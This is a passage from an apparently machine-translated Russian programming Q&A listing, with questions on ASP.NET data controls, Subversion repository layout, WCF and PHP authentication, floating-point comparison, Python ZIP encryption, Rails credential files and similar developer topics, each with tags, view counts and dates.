Любопытно, чувствуют ли другие то же самое, что и я. Для меня такие элементы управления, как datagrid/gridview/formview/etc. отлично подходят для презентаций или только демо-версии. Чтобы занять время и настроить эти элементы управления, переопределите их поведение по умолчанию (подключение к их глупым событиям и т. д.) - это большая головная боль. Единственный элемент управления, который я использую, - это ретранслятор, поскольку он обеспечивает мне наибольшую гибкость по сравнению с другими.

Короче говоря, они довольно сильно раздуваются.

Я бы предпочел создать свой собственный html/css,, используя свои собственные пользовательские запросы подкачки.

Опять же, если вам нужно быстро открыть страницу, эти элементы управления отлично подходят (особенно если вы пытаетесь привлечь людей к легкости разработки .NET ).

Я должен быть в меньшинстве, иначе MS не посвятил бы столько времени разработке этих типов управления...

asp.net   data-controls    

500   25   02:56, 24th August, 2020


Последние / Rack deployment

Я знаю, что это довольно экзотично, но я хочу развернуть веб-приложение Ruby (не на основе Rails, а на основе Rack, поэтому он подключается к большинству серверов Ruby просто отлично) с использованием JRuby. Google и друзья дают мне несколько историй успеха, но в основном rails связаны, а если нет, то никаких подробностей о deployment не предоставляется. Фреймворк, который я использую, - это Ramaze, если это имеет значение.

Любая помощь будет принята с благодарностью.

ruby   deployment   web-applications   jvm   rack    

378   2   23:07, 10th August, 2020


.net решение подрывной лучшие практики?

Есть так много примеров того, как настроить свои проекты dotnet, но ни один из них не соответствовал нашей ситуации.

У нас есть одно решение с несколькими приложениями, несколькими зависимостями. В настоящее время мы находимся на SourceSafe и планируем перейти к subversion, но нам трудно правильно организовать наш источник.

  • Пример решения

    • Приложения app1
    • Приложения app2
    • BizObjects
    • DataAccess
    • CustomControls
  • Зависимости

    • BizObjects - >DataAccess
    • Приложения app1->CustomControls
    • Приложения app1->BizObjects
    • Приложения app1->DataAccess
    • Приложения app2->CustomControls
    • Приложения app2->BizObjects

У нас также есть система управления конфигурацией, которая развертывается (через копию из базы данных) в зависимости от рабочей нагрузки оператора. Мы отмечаем приложение "release" с версией и к этому выпуску мы добавляем несколько зависимостей файлов. Имейте в виду, что решение, которое мы имеем сейчас,-это попытка использовать старое (разработанное windows 3.1) решение для работы .NET структура файлов / зависимостей.

В случае App1 мы имеем App1.exe, BizObjects.dll, DataAccess.dll и CustomControls.dll. У нас есть тот же набор зависимостей для App2 из-за BizObjects ссылки DataAccess -- но это определяется вручную. У нас нет системы для идентификации дерева зависимостей.

Каждая из зависимостей для "release" - это идентификатор файла и версии. И одно и то же приложение может содержать разные версии каждого файла для разных рабочих нагрузок.

  1. Где в мире мы ошиблись? Неужели мы ошиблись?
  2. Как мы можем структурировать исходное дерево svn для удовлетворения требований deployment?
    • или
  3. как мы можем реструктурировать код, чтобы лучше поддерживать стратегию deployment, которая имеет смысл для нашей установки?

У нас есть старое и чрезмерно разработанное решение (казалось бы) относительно простой проблемы. Может ли кто-нибудь направить меня/нас в правильном направлении?

edit: я прочитал этот вопрос и вспомнил, что у нас также есть те же области dev/test/prod, через которые должен проходить код.

visual-studio   svn   version-control   deployment   configuration-management    

442   2   19:52, 15th August, 2020


Каков наилучший способ разбиения терабайтного диска на машине разработки linux?

Завтра у меня будет новый диск 1 TB. Каков наилучший способ разделить это пространство для рабочей станции разработки?

Самая большая проблема, которую я думаю, что у меня будет, заключается в том, что некоторые разделы (вероятно, /usr) станут маленькими после небольшого использования. Другие разделы, вероятно, огромны. Например, диск подкачки в настоящее время составляет 2 ГБ (2x 1GB RAM), но он почти никогда не используется (только один раз, о котором я знаю).

linux   storage   disk-partitioning    

490   10   12:55, 12th August, 2020


Каков наилучший способ аутентификации через WCF?

Каков наилучший способ реализации аутентификации через WCF?

Я бы предпочел не использовать WS-*, поскольку он должен быть независимым от транспорта.

Должен ли я "свернуть свой собственный"? Есть ли какие-либо рекомендации для этого (articles/blog сообщений)?
Или есть какой-то способ (и должен ли я) использовать встроенные поставщики членства и профилей ASP.NET на стороне сервера?

.net   asp.net   wcf   authentication   membership    

447   5   02:06, 9th August, 2020


С чего начать CruiseControl.NET

Я настраиваю систему управления версиями моей команды + процесс сборки / интеграции с нуля. Мы использовали VSS и инструмент, который мы создали самостоятельно для выполнения процесса сборки. Мы решили перейти к более современным условиям. У меня работает SVN, и я хотел бы установить непрерывный процесс интеграции с CruiseControl.NET. Есть ли хорошее руководство step-by-step starter, которое поможет мне начать работу с лучшими практиками этого инструмента?

continuous-integration   cruisecontrol.net    

497   6   08:09, 10th August, 2020


Реализация права в PHP

Я пытался сделать это несколько раз, но безуспешно. После прочтения этого поста, это заставило меня заинтересоваться этим снова. Так может кто-нибудь сказать мне, почему следующее не работает?

<?php

$guest = 1;
$editor = 2;
$admin = 4;

$user = $editor;

if( $user == ($editor | $admin) ) {
    echo "Test";    
}

?>

php   permissions    

475   10   11:11, 28th August, 2020


Создайте зашифрованный файл ZIP в Python

Я создаю файл ZIP с ZipFile в Python 2.5, он работает нормально до сих пор:

import zipfile, os

locfile = "test.txt"
loczip = os.path.splitext (locfile)[0] + ".zip"
zip = zipfile.ZipFile (loczip, "w")
zip.write (locfile)
zip.close()

но я не мог найти, как зашифровать файлы в файле ZIP. Я мог бы использовать system и вызвать PKZIP-s, но я полагаю, что должен быть более "Pythonic" способ. Я ищу решение с открытым исходным кодом.

python   zip    

536   4   00:32, 27th August, 2020


Каков наиболее эффективный способ для плавающего и двойного сравнения?

Каков был бы наиболее эффективный способ сравнить два значения double или два значения float ?

Просто делать это неправильно:

bool CompareDoubles1 (double A, double B)
{
   return A == B;
}

Но что-то вроде:

bool CompareDoubles2 (double A, double B) 
{
   diff = A - B;
   return (diff < EPSILON) && (-diff < EPSILON);
}

Похоже на переработку отходов.

Кто-нибудь знает более умный поплавковый компаратор?

c++   algorithm   optimization   floating-point    

720   25   20:10, 29th August, 2020


Как бы вы реализовали аутентификацию на основе FORM без резервной базы данных?

У меня есть сценарий PHP, который работает как программа CGI, а заголовок HTTP Authenticate съедается и выплевывается. Поэтому я хотел бы реализовать какую-то аутентификацию на основе FORM. В качестве дополнительного ограничения отсутствует база данных, поэтому данные сеанса не могут быть сохранены.

Я очень открыт для того, чтобы иметь мастер-имя пользователя и пароль. Мне просто нужно защитить приложение от злоумышленника, который не знает эти учетные данные.

Так как бы вы это реализовали?

Печенье?

Я могу представить форму, и если она подтвердится, я могу отправить обратно файл cookie, который является hash из IP адреса и секретного кода. Тогда я могу запретить отображение страниц, если вещь не расшифровывается правильно. Но я понятия не имею, как реализовать это в PHP.

php   http   authentication   cookies   cgi    

407   4   12:14, 24th August, 2020


Когда следует использовать 'friend' в C++?

Я читал через C++ FAQ и был заинтересован в объявлении friend . Я лично никогда не использовал его, однако мне интересно исследовать язык.

Каков хороший пример использования friend ?


Читая FAQ немного дольше, Мне нравится идея перегрузки оператора << >> и добавления в качестве друга этих классов. Однако я не уверен, как это не нарушает инкапсуляцию. Когда эти исключения могут оставаться в пределах строгости, которая составляет OOP?

c++   oop   encapsulation   friend    

607   25   01:53, 15th August, 2020


Как изменить свойство style шрифта на Windows?

Обратите внимание, что этот вопрос продолжается от того, можно ли уговорить Visual Studio 2008 использовать курсив для комментариев?

Если длинное название вопроса вас зацепило, то вот в чем проблема:

Как преобразовать свойство style шрифта Consolas Italic в полужирный шрифт без изменения каких-либо его фактических символов? То есть, мы хотим, чтобы шрифт был все тот же (т. е. Курсив), мы просто хотим, чтобы OS поверил, что теперь это жирный шрифт.

Пожалуйста, просто не упоминайте название инструмента (например, fontforge), но опишите шаги для достижения этой цели или укажите на такое описание.

windows   fonts    

479   2   16:14, 10th August, 2020


ASP.NET Пользовательские Элементы Управления-Композиты

Резюме

Привет Всем,
OK, далее в мои приключения с пользовательскими элементами управления...

В общем, вот что я узнал о трех основных "classes" пользовательских элементах управления. Пожалуйста, не стесняйтесь поправлять меня, если что-то из этого неправильно!

  1. UserControls -которые наследуются от UserControl и содержатся в файле ASCX . Они довольно ограничены в том, что они могут сделать, но это быстрый и легкий способ получить некоторую общность UI с поддержкой дизайнера.
  2. Пользовательские составные элементы управления -это элементы управления, которые наследуются от WebControl , где вы добавляете ранее существующие элементы управления к элементу управления в методе CreateChildControls. Это обеспечивает большую гибкость, но отсутствие поддержки дизайнера без дополнительного кодирования. Они очень портативны, хотя, поскольку их можно скомпилировать в DLL.
  3. Пользовательские визуализированные элементы управления -подобно пользовательским составным элементам управления, они добавляются в проект Библиотеки веб-элементов управления. Рендеринг элемента управления полностью контролируется программистом путем переопределения метода рендеринга .

свои мысли..

OK, поэтому, играя с пользовательскими композитами, я обнаружил следующее:

  • У вас мало/нет контроля над выходом HTML, что затрудняет "debug".
  • CreateChildControls (и последующие методы) могут быть действительно заняты Controls.Add(myControl) везде.
  • Я обнаружил, что таблицы рендеринга (будь то для макета или контента) значительно неудобны.

Вопрос(ы)..

Итак, я признаю, что я новичок в этом, поэтому я мог бы быть далеко от базы с некоторыми из моих пунктов, отмеченных выше..

  • Вы используете композиты?
  • Есть ли у вас какие-нибудь аккуратные трюки, чтобы контролировать выход HTML?
  • Вы просто говорите "to hell with it" и идете дальше и создаете пользовательский визуализированный элемент управления?

Это то, что я очень хочу получить действительно твердым в своем уме, так как я знаю, насколько хорошее развитие контроля может сократить общее время разработки.

Я с нетерпением жду ваших ответов ^_^

c#   .net   asp.net   user-controls   controls    

382   6   05:01, 14th August, 2020


Получение имени компьютера клиента? (Windows авт)

У меня есть приложение ASP.net, которое работает во внутренней сети (Ну, на самом деле он работает на Sharepoint 2007).

Мне просто интересно:
Могу ли я каким-то образом получить имя PC, которое использует клиент?
У меня будет доступ к Active Directory, если это поможет.
Дело в том, что люди используют несколько PCs, поэтому я не могу использовать ручное/статическое отображение.

Если возможно, я не хочу использовать какой-либо код на стороне клиента (читай: JavaScript), но если это невозможно сделать на стороне сервера, JavaScript также будет OK.
(ActiveX абсолютно исключено)

asp.net   sharepoint   authentication    

391   2   20:59, 3rd August, 2020


Подходящая альтернатива CryptEncrypt

У нас есть ситуация в нашем продукте, где в течение длительного времени некоторые данные хранились в базе данных приложения в виде строки SQL (выбор сервера MS SQL или sybase SQL в любом месте), которая была зашифрована с помощью функции Windows API CryptEncrypt. (прямой и де-криптографический)

Проблема в том, что CryptEncrypt может производить NULL в выходных данных, что означает, что когда он хранится в базе данных, строковые манипуляции в какой-то момент усекут CipherText.

В идеале мы хотели бы использовать algo, который будет производить CipherText, который не содержит NULLs, поскольку это вызовет наименьшее количество изменений в существующих базах данных (изменение столбца со строки на двоичный и код для работы с двоичным вместо строк) и просто расшифрует существующие данные и повторно зашифрует с помощью нового алгоритма во время обновления базы данных.

Алгоритм не должен быть самым безопасным, так как база данных уже находится в достаточно безопасной среде (а не в открытой сети / межсистемных сетях), но должен быть лучше, чем ROT13 (который я могу почти расшифровать в своей голове сейчас!)

edit: кстати, есть ли конкретная причина для изменения шифротекста на шифротекст? шифротекст кажется более широко используемым...

c++   encryption   winapi    

442   4   10:34, 19th August, 2020


Переход с MySQL на PostgreSQL

В настоящее время мы используем MySQL для продукта, который мы создаем, и стремимся перейти на PostgreSQL как можно скорее, в первую очередь по причинам лицензирования.

Кто-нибудь еще сделал такой шаг? Наша база данных-это жизненная сила приложения и в конечном итоге будет хранить TBs данных, поэтому я очень хочу услышать об опыте работы improvements/losses, основных препятствий в преобразовании SQL и хранимых процедурах и т. д.

Edit: просто чтобы разъяснить тем, кто спрашивал, почему нам не нравится лицензирование MySQL. Мы разрабатываем коммерческий продукт, который (в настоящее время) зависит от MySQL в качестве бэк-энда базы данных. В их лицензии говорится, что мы должны платить им процент от нашей прейскурантной цены за установку, а не фиксированную плату. Как стартап, это менее чем привлекательно.

mysql   database   postgresql   licensing   migration    

499   3   12:20, 22nd August, 2020


Большие, сложные объекты как результат работы веб-службы

Еще раз здравствуйте, дамы и господа!

OK, вслед за моим другим вопросом о результатах веб-службы ASP.NET, Прокси-классах и преобразовании типов . Я пришел к той части своего проекта, где мне нужно надеть свою мыслительную шапочку.

В принципе, у нас есть большой, сложный пользовательский объект, который должен быть возвращен из веб-службы и использован в клиентском приложении.

Теперь, основываясь на предыдущем обсуждении, мы знаем, что это будет затем принимать форму прокси-класса(классов) в качестве возвращаемого типа. Чтобы преодолеть это, нам нужно в основном скопировать свойства от одного к другому.

В данном случае, это то, что я бы очень, очень, очень хотел! хотелось бы избежать!

Так что, это заставило меня задуматься, как еще мы могли бы это сделать?

Мои текущие мысли заключаются в том, чтобы включить объект для полной сериализации в XML, а затем вернуть XML в виде строки из веб-службы. Затем мы десериализации на клиенте. Это будет означать изрядную часть украшения атрибутов, но, по крайней мере, код на обеих конечных точках будет легким, а именно, просто используя сериализатор .NET XML.

Что вы думаете по этому поводу?

c#   asp.net   xml   web-services   serialization    

467   4   10:42, 1st August, 2020


Организация репозитория

Когда я впервые начал использовать системы контроля версий , такие как CVS и SVN, я действительно не понимал концепции "trunk", ветвления, слияния и маркировки. Теперь я начинаю понимать эти концепции, и действительно понимаю важность и силу, стоящие за ними.

Итак, я начинаю делать это правильно. Или мне так кажется... Это то, что я понимаю до сих пор: последняя версия/стабильная версия вашего кода должна сидеть в /trunk/, в то время как бета-версии или версии bleeding edge находятся внутри каталога /branches/ как разные каталоги для каждого бета-релиза, а затем объединяются в магистраль при выпуске.

Не слишком ли упрощенный взгляд на вещи? Какие макеты репозитория вы, ребята, рекомендуете? Если это имеет значение, я использую Subversion.

versioning    

522   4   21:06, 1st October, 2020


Кто-нибудь знает быстрый способ добраться до пользовательских атрибутов по значению enum?

Это, вероятно, лучше всего показать на примере. У меня есть перечисление с атрибутами:

public enum MyEnum {

    [CustomInfo("This is a custom attrib")]
    None = 0,

    [CustomInfo("This is another attrib")]
    ValueA,

    [CustomInfo("This has an extra flag", AllowSomething = true)]
    ValueB,
}

Я хочу добраться до этих атрибутов из экземпляра:

public CustomInfoAttribute GetInfo( MyEnum enumInput ) {

    Type typeOfEnum = enumInput.GetType(); //this will be typeof( MyEnum )

    //here is the problem, GetField takes a string
    // the .ToString() on enums is very slow
    FieldInfo fi = typeOfEnum.GetField( enumInput.ToString() );

    //get the attribute from the field
    return fi.GetCustomAttributes( typeof( CustomInfoAttribute  ), false ).
        FirstOrDefault()        //Linq method to get first or null
        as CustomInfoAttribute; //use as operator to convert
}

Так как это использует отражение, я ожидаю некоторую медлительность, но это кажется беспорядочным, чтобы преобразовать значение enum в строку (которая отражает имя), когда у меня уже есть его экземпляр.

У кого-нибудь есть лучший способ?

c#   .net   reflection   enums   attributes    

489   2   16:38, 3rd August, 2020


Рекомендация для библиотеки проверки формы javascript

Любые рекомендации для библиотеки проверки формы javascript. Я мог бы попробовать свернуть свой собственный (но я не очень хорош в javascript). Необходимо поддерживать проверку обязательных полей, а также желательно регулярное выражение проверки полей.

javascript   forms   validation    

489   4   06:35, 24th August, 2020


Как я могу узнать о парсер-комбинаторах?

Я нашел несколько источников по этому вопросу , но все они требуют глубокого понимания SmallTalk или Haskell, ни одного из которых я не знаю.

parsing   monads    

505   10   05:57, 8th August, 2020


Mac iWork / Автоматизация Страниц

Существует богатая модель сценариев для Microsoft Office, но не так с Apple iWork, и в частности страниц текстового процессора. Хотя есть некоторые крючки AppleScript, похоже, что лучший подход-это манипулировать базовыми данными XML.

Это оказывается довольно уродливым, потому что (например) разрывы страниц хранятся в XML. Так, например, у вас есть что-то вроде:

... we hold these truths to be self evident, that </page>
<page>all men are created equal, and are ...

Поэтому, если вы хотите добавить или удалить текст, вам нужно переместить начальные/конечные теги в зависимости от размера текста на странице. Это практически невозможно без вычисления количества слов, которое может содержать страница, что кажется дико неэлегантным.

У кого-нибудь есть какие-нибудь мысли по этому поводу?

xml   automation   applescript   iwork    

525   0   21:06, 1st October, 2020


Как лучше всего распределить инструменты командной строки python?

Мой текущий скрипт setup.py работает нормально, но он устанавливает tvnamer.py (инструмент) как tvnamer.py в пакеты сайта или что-то подобное..

Можно ли сделать setup.py install tvnamer.py как tvnamer и / или есть ли лучший способ установки приложений командной строки?

python   command-line   packaging    

492   1   22:28, 22nd August, 2020


Рекомендации по синтаксическому анализу AS3 XML

У меня были некоторые проблемы с разбором различных типов XML внутри flash (в частности, FeedBurner RSS файлов и YouTube Data API ответов). Я использую URLLoader для загрузки файла XML, а после Event.COMPLETE создаю новый объект XML. 75% время от времени это работает нормально, и время от времени я получаю этот тип исключения:

TypeError: Error #1085: The element type "link" must be terminated by the matching end-tag "</link>".

Мы думаем, что проблема заключается в том, что XML является большим, и, возможно, событие Event.COMPLETE запускается до того, как XML фактически загружается с URLLoader . Единственное решение, которое мы придумали, - это установить таймер на событие, и по существу "wait a few seconds", прежде чем начать анализировать данные. Конечно, это не может быть лучшим способом сделать это.

Есть ли какой-нибудь верный способ разобрать XML внутри Flash?

Update Sept 2 2008 мы пришли к следующему выводу, что в этот момент в коде срабатывает исключение:

data = new XML(mainXMLLoader.data);

//  calculate the total number of entries.
for each (var i in data.channel.item){
    _totalEntries++;
}

Я разместил оператор try/catch вокруг этой части и в настоящее время отображаю сообщение об ошибке на экране, когда это происходит. Мой вопрос заключается в том, как неполный файл дойдет до этой точки, если bytesLoaded == bytesTotal ?


Я обновил исходный вопрос с отчетом о состоянии; я предполагаю, что другой вопрос может быть в том, есть ли способ определить, правильно ли проанализирован объект XML перед обращением к данным (в случае ошибки, если мой цикл подсчета количества объектов начинается до того, как XML фактически анализируется в объект)?


@Theo: Спасибо за подсказку ignoreWhitespace. Кроме того, мы определили, что событие вызывается до его готовности (мы провели несколько тестов трассировки mainXMLLoader.bytesLoaded + "/" + mainXMLLoader.bytesLoaded

xml   flash   actionscript-3   rss   fileparse    

564   10   01:33, 24th August, 2020


Есть ли рекомендации для легких .net Win форм HTML элементов управления рендерером?

Пытаясь избежать управления .net WebBrowser (мне не нужно переходить к url, печатать визуализированные html или любые другие встроенные лакомства). Обертывание IE dll кажется немного тяжеловесным.

Мне просто нужно что - то, что может отображать основной html помеченный текст-эквивалент html RichTextBox в действительности. У кого-нибудь есть опыт / рекомендации / военные истории?

.net   winforms   user-interface   controls    

461   5   00:57, 1st August, 2020


Использование ocx в консольном приложении

Я хочу быстро протестировать ocx. Как мне удалить этот ocx в консольном приложении. Я нашел несколько учебных пособий в CodeProject, но они неполные.

c++   visual-c++   console   activex    

413   3   09:11, 28th August, 2020


Решение deployment, CM, InstallShield

Люди,

У нас есть 4 или 5 утилит, которые работают в сочетании с нашим приложением. Эти утилиты представляют собой либо .bat файлов, либо VB приложения, PowerBuilder и т. д. Я пытаюсь управлять этими utils в системе управления версиями и пытаюсь найти лучший способ назначить им версии. Прямо сейчас разработчики используют метаданные системы управления версиями-в частности, метку-для хранения номера версии инструмента.

Моя цель состоит в том, чтобы иметь индивидуальные пакеты InstallShield для каждой утилиты, а также простые средства для управления и назначения номеров версий этим пакетам.

Вы бы рекомендовали отдельный файл .ini с информацией, или хранить информацию в самом файле InstallShield .ism, или просто использовать информацию о метаданных из средства управления версиями?


UPDATE :

Мне нравится эта идея, Орион. Но у меня есть одна забота. Скрипт, увеличивающий номер версии... он не может быть достаточно умен, чтобы увеличить основное число и т. д. право. напр. если один из utils имеет версию 1.2.3, и мы находимся в точке, где новая версия является 2.0.0. Сценарий может быть не в состоянии справиться с этим.

Я думаю, что это во многом связано с нашими методами ветвления-у нас их нет. Люди думали, что раз уж утили такие маленькие, то источник может и не нуждаться в ответвлениях.

content-management-system   versioning   installshield   packaging    

413   3   22:42, 20th August, 2020


PowerShell App.Config

Кто-нибудь придумал, как заставить PowerShell использовать app.config файлов? У меня есть пара .NET DLL, которые я хотел бы использовать в одном из своих сценариев, но они ожидают, что их собственные разделы конфигурации будут присутствовать в app.config / web.config .

powershell   configuration-files    

464   3   03:07, 21st August, 2020


Разве AnkhSVN годится?

Я спросил пару коллег о AnkhSVN , и ни один из них не был доволен этим. Один из них зашел так далеко, что сказал, что AnkhSVN несколько раз испортил свой девенв.

Каков ваш опыт работы с AnkhSVN? Мне очень не хватает встроенного инструмента управления версиями IDE.

version-control   ankhsvn    

397   12   13:41, 26th August, 2020


Запретить проглатывание исключений элементом управления WebBrowser

Я использую System.Windows.Forms.WebBrowser, чтобы сделать представление a-la начальной страницы Visual Studio. Однако, похоже, что элемент управления ловит и обрабатывает все исключения, молча погружая их! Не нужно говорить, что это очень неудачное поведение.

void webBrowserNavigating(object sender, WebBrowserNavigatingEventArgs e)
{
    // WebBrowser.Navigating event handler
    throw new Exception("OMG!");
}

Приведенный выше код отменит навигацию и проглотит исключение.

void webBrowserNavigating(object sender, WebBrowserNavigatingEventArgs e)
{
    // WebBrowser.Navigating event handler
    try
    {
        e.Cancel = true;
        if (actions.ContainsKey(e.Url.ToString()))
        {
            actions[e.Url.ToString()].Invoke(e.Url, webBrowser.Document);
        }
    }
    catch (Exception exception)
    {
        MessageBox.Show(exception.ToString());
    }
}

Итак, то, что я делаю (выше), - это поймать все исключения и открыть окно, это лучше, чем молча терпеть неудачу, но все же явно далек от идеала. Я бы хотел, чтобы он перенаправлял исключение через обычный путь сбоя приложения, чтобы оно в конечном итоге становилось необработанным или обрабатывалось приложением из корня.

Есть ли способ сказать элементу управления WebBrowser , чтобы остановить потопление исключений и просто переслать их естественным и ожидаемым способом? Или есть какой-то хакерский способ бросить исключение через родные границы?

.net   winforms   exception-handling   webbrowser-control    

433   2   04:48, 2nd August, 2020


Лучший модуль мониторинга трафика / производительности / использования?

Есть ли какие-либо пакеты с открытым исходным кодом (или, я думаю, коммерческие), которые вы можете подключить к своему сайту для целей мониторинга? Я хотел бы что-то, что мы можем подключить к нашему сайту ASP.NET и использовать для предоставления отчетов о таких вещах, как:

  • производительность с течением времени
  • токовая нагрузка
  • трафик страница
  • SQL производительность
  • PU контроль времени

В идеале в c# :)

С некоторыми сексуальными графиками.

Edit: я также был бы доволен пакетом, который я могу кормить статистикой и представлениями данных, и он будет анализировать тенденции, выявлять аномальное поведение (например, -за последний час никто не заходил в систему. это нормально?", "обнаружен высокий уровень трафика", "обнаружено низкое количество вызовов API") и, как правило, очень полезно. Существует ли такая вещь?

В моем последнем офисе у нас был большой экран, который показывал нам множество счетчиков производительности в течение нескольких временных диапазонов, и мы могли заметить странные вещи, происходящие, Но данные не хранились, и не было никакого способа сообщить об этом. Его пакет для этого, что я после этого.

performance   monitoring   usage-statistics    

557   8   09:25, 28th August, 2020


Проверка десятичных чисел в JavaScript - IsNumeric()

Каков самый чистый и эффективный способ проверки десятичных чисел в JavaScript?

Бонусные баллы за:

  1. Ясность. Раствор должен быть чистым и простым.
  2. Межплатформенный.

Сценарии тестирования:

01. IsNumeric('-1')      => true
02. IsNumeric('-1.5')    => true
03. IsNumeric('0')       => true
04. IsNumeric('0.42')    => true
05. IsNumeric('.42')     => true
06. IsNumeric('99,999')  => false
07. IsNumeric('0x89f')   => false
08. IsNumeric('#abcdef') => false
09. IsNumeric('1.2.3')   => false
10. IsNumeric('')        => false
11. IsNumeric('blah')    => false

javascript   validation   numbers    

537   25   08:00, 26th August, 2020


Изменение Круиза Control.NET

Мы исследуем использование CruiseControl.NET в качестве поставщика сборки непрерывной интеграции, а также автоматизируем первую часть нашего процесса deployment.

Кто-нибудь изменил панель мониторинга CruiseControl.NET's, чтобы добавить пользовательские роли входа и пользователя (IE, отдельный доступ к принудительной сборке только для определенных людей на основе каждого проекта?

Панель мониторинга-это приложение .NET, но я считаю, что он использует движок представления nVelocity вместо веб-форм, с которыми у меня нет опыта.

Можете ли вы смешать nVelocity и Webforms,или мне нужно потратить день на изучение чего-то нового =)

cruisecontrol.net   nvelocity    

474   2   19:57, 19th August, 2020


В C#, нужно ли вызывать базовый конструктор?

В C#,, если у меня есть унаследованный класс с конструктором по умолчанию, должен ли я явно вызывать конструктор базового класса или он будет вызван неявно?

class BaseClass
{
    public BaseClass()
    {
        // ... some code
    }
}
class MyClass : BaseClass
{
    public MyClass() // Do I need to put ": base()" here or is it implied?
    {
        // ... some code
    }
}

c#   inheritance   constructor    

461   7   18:58, 19th August, 2020


Лучший способ начать изучение дизайна веб-приложений

Я уже давно увлекаюсь программированием, интересуюсь разработкой веб-приложений. У меня есть изрядный личный опыт работы с различными не-веб-языками, но никогда по-настоящему не разветвлялся на веб-приложения.

Обычно у меня нет никаких проблем с изучением новых языков или технологий, поэтому я не беспокоюсь о том, с каким языком "best" или веб-стеком нужно работать. Вместо этого я хотел бы знать о любых рекомендуемых ресурсах (книгах, статьях, веб-сайтах, возможно, даже курсах колледжа), которые обсуждают дизайн веб-приложений: управление и оптимизация взаимодействия с сервером, проблемы безопасности, масштабируемость и другие темы, которые относятся к разработке, а не реализации.

Что бы вы порекомендовали разработчику автономного приложения, который хочет перейти на веб-разработку?

language-agnostic   web-applications   resources    

408   3   03:48, 27th August, 2020


Как Вы Защищаете database.yml?

В пределах Ruby на Rails приложения database.yml представляет собой обычный текстовый файл, который хранит учетные данные базы данных.

Когда я развертываю свои приложения Rails, у меня есть обратный вызов после развертывания в моем Capistrano рецепт, который создает символическую ссылку в каталоге приложения /config на файл database.yml. Сам файл хранится в отдельном каталоге, который находится вне стандартной структуры каталогов Capistrano /releases. Я chmod 400 файл, так что он читается только пользователем, который его создал.

  • Достаточно ли этого, чтобы заблокировать его? А если нет, то чем еще вы занимаетесь?
  • Кто-нибудь шифрует свои файлы database.yml?

ruby-on-rails   security   deployment    

457   5   15:54, 5th August, 2020


Элегантный способ удаления элементов из последовательности в Python?

Когда я пишу код в Python, мне часто нужно удалить элементы из списка или другого типа последовательности на основе некоторых критериев. Я не нашел решения, которое было бы элегантным и эффективным, так как удаление элементов из списка, который вы сейчас просматриваете, плохо. Например, вы не можете этого сделать:

for name in names:
    if name[-5:] == 'Smith':
        names.remove(name)

Я обычно заканчиваю тем, что делаю что-то вроде этого:

toremove = []
for name in names:
    if name[-5:] == 'Smith':
        toremove.append(name)
for name in toremove:
    names.remove(name)
del toremove

Это неэффективно, довольно уродливо и, возможно, глючно (как он обрабатывает несколько записей 'John Smith'?). Есть ли у кого-нибудь более элегантное решение или, по крайней мере, более эффективное?

Как насчет того, что работает со словарями?

python   optimization   set   series    

531   14   07:59, 2nd August, 2020


Как получить метку Combobox, чтобы исчезнуть в Flex

У меня есть комбо-бокс, который сидит внутри панели в Flex 3. В основном я хочу, чтобы исчезла панель, используя эффект затухания в ActionScript. Я могу заставить fade работать нормально, однако метка комбо-бокса не исчезает. У меня была такая же проблема с кнопками и обнаружил, что их шрифты должны быть встроены. Не проблема. Я встроил шрифт, который я использовал, и метки кнопок исчезли правильно. Я пробовал аналогичный подход к комбинированному окну, но он не исчезает с выбранной метки элемента.

Вот что я сделал до сих пор: Добавьте код для шрифта в верхней части моего MXML в сценарий:

[Embed("assets/trebuc.ttf", fontName="TrebuchetMS")]
public var trebuchetMSFont:Class;

В моей функции инициализации

//register the font.
Font.registerFont(trebuchetMSFont);

combobox-е mxml:

<mx:ComboBox id="FilterFields" styleName="FilterDropdown" 
  left="10" right="10" top="10"
  fontSize="14">
  <mx:itemRenderer>
    <mx:Component>
      <mx:Label fontSize="10" />
    </mx:Component>
  </mx:itemRenderer>
</mx:ComboBox>

И стиль, который я написал, чтобы получить шрифты, примененные к комбинированному окну:

.FilterDropdown
{
  embedFonts: true;
  fontFamily: TrebuchetMS;
  fontWeight: normal;
  fontSize: 12; 
}

Причина, по которой я должен был написать стиль вместо размещения его в атрибуте "FontFamily", заключалась в том, что стиль сделал весь текст в поле со списком правильным шрифтом, где атрибут "FontFamily" только заставил элементы в раскрывающемся списке использовать правильный шрифт.

flex   actionscript-3    

492   5   16:37, 26th August, 2020


Шифрование в веб-сервисах C#

Я ищу простой способ зашифровать мое сообщение soap в моем веб-сервисе C#.

Я искал WSE 3.0 , но, похоже, Microsoft отказалась от его поддержки, и поэтому его не так просто использовать.
Похоже, что WCF мог бы быть вариантом, но я предпочитаю не обновляться с .NET 2.0 .

Какой-нибудь простой и понятный метод шифрования?

c#   web-services   security   encryption    

430   6   23:04, 25th August, 2020


Работа с PHP сервером и MySQL сервером в разных часовых поясах

Для тех из нас, кто использует стандартные пакеты общего хостинга, такие как GoDaddy или сетевые решения, как вы обрабатываете конверсии datetime, когда ваш хостинг-сервер (PHP) и MySQL сервер находятся в разных часовых поясах?

Кроме того, есть ли у кого-нибудь рекомендации по определению часового пояса, в котором находится посетитель вашего сайта, и соответствующим образом манипулирует переменной datetime?

php   mysql   datetime   date   timezone    

467   2   02:50, 7th August, 2020


Готов ли Mono к прайм-тайму?

Кто-нибудь использовал Mono, реализацию с открытым исходным кодом .NET в крупном или среднем проекте? Мне интересно, готова ли она к реальному миру, к производственной среде. Является ли он стабильным, быстрым, совместимым, ... достаточно, чтобы использовать? Требуется ли много усилий для переноса проектов в среду выполнения Mono, или это действительно достаточно совместимо, чтобы просто взять и запустить уже написанный код для среды выполнения Microsoft?

.net   open-source   mono    

454   17   00:32, 8th August, 2020


Рекомендуется авторизовать всех пользователей только на одной странице

Каков наилучший способ авторизации всех пользователей на одной странице на веб-сайте asp.net.

За исключением страницы входа и еще одной страницы, я запрещаю всем пользователям просматривать страницы на веб-сайте.

Как сделать эту страницу доступной для всех пользователей?

asp.net   authorization    

387   2   21:06, 1st October, 2020


Преобразование списка в список

У меня есть список целых чисел, List<Integer> , и я хотел бы преобразовать все целочисленные объекты в строки, таким образом, закончив с новым List<String> .

Естественно, я мог бы создать новый List<String> и пройтись по списку, вызывая String.valueOf() для каждого целого числа, но мне было интересно, есть ли лучший (читай: более автоматический ) способ сделать это?

java   string   collections   integer    

720   19   21:13, 9th August, 2020


ярлык для создания карты из списка в groovy?

Я бы хотел немного сортанд для этого:

Map rowToMap(row) {
    def rowMap = [:];
    row.columns.each{ rowMap[it.name] = it.val }
    return rowMap;
}

учитывая то, как обстоят дела с GDK, я бы ожидал, что смогу сделать что - то вроде:

Map rowToMap(row) {
